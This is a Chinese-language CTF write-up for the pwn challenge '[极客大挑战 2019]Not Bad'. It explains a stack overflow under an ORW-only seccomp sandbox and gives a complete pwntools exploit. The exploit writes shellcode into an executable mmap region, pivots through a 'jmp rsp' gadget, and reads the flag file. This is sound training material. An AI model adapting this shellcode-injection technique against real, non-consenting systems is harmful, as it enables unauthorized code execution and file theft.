[极客大挑战 2019]Not Bad
先看一下文件吧:

没啥保护,也有可读可写可执行的段落,猜测是栈段:

有用的就这两个函数,mmap这一段也是可写可执行的:

看来是可以栈溢出的,但是给的空间不是很多,这是一个问题,给的空间不够我们执行别的函数,那shellcode肯定是写到mmap的空间中,但是如何跳转是一个问题,我们也无法泄露栈上的地址:


而且这道题还开了沙箱,看下面这几个函数就可以知道了:

估计是只能使用orw了,我们去看看:

果然没错,那题目的payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from pwn import * context.log_level = 'debug' context.arch = 'amd64'
sh = remote("node5.buuoj.cn",28974) mmap_addr = 0x123000 jmp_rsp_addr = 0x400A01
payload = shellcraft.open("./flag") payload += shellcraft.read(3,mmap_addr+0x50, 0x50) payload += shellcraft.write(1, mmap_addr+0x50, 0x50)
print("du qu da xiao------------------->",hex(len(asm(payload))))
payload_1 = asm(shellcraft.read(0, mmap_addr, 0x50)) + asm('mov rax,0x123000;call rax') payload_1 = payload_1.ljust(0x28, b'\x00') payload_1 += p64(jmp_rsp_addr) payload_1 += asm('sub rsp,0x30;jmp rsp')
print("payload_1------->",hex(len(payload_1)))
sh.recvuntil("Easy shellcode, have fun!\n") sh.sendline(payload_1)
sh.send(asm(payload))
sh.interactive()
|
payload_1的任务就是向mmap段写入shellcode,并将rip更改到0x123000进行执行,最核心的问题是函数retn的时候,此时执行retn命令,将jmp_rsp命令的地址压入rip寄存器中,使rip寄存器指向该命令位置,此时retn函数执行完毕,rsp下移0x8字节,然后函数执行,rip又指向了rsp指向的位置,然后继续执行,rsp-0x30,然后将rip又指向rsp,此时rsp指向的就是以下命令的位置。
1
| payload_1 = asm(shellcraft.read(0, mmap_addr, 0x50)) + asm('mov rax,0x123000;call rax')
|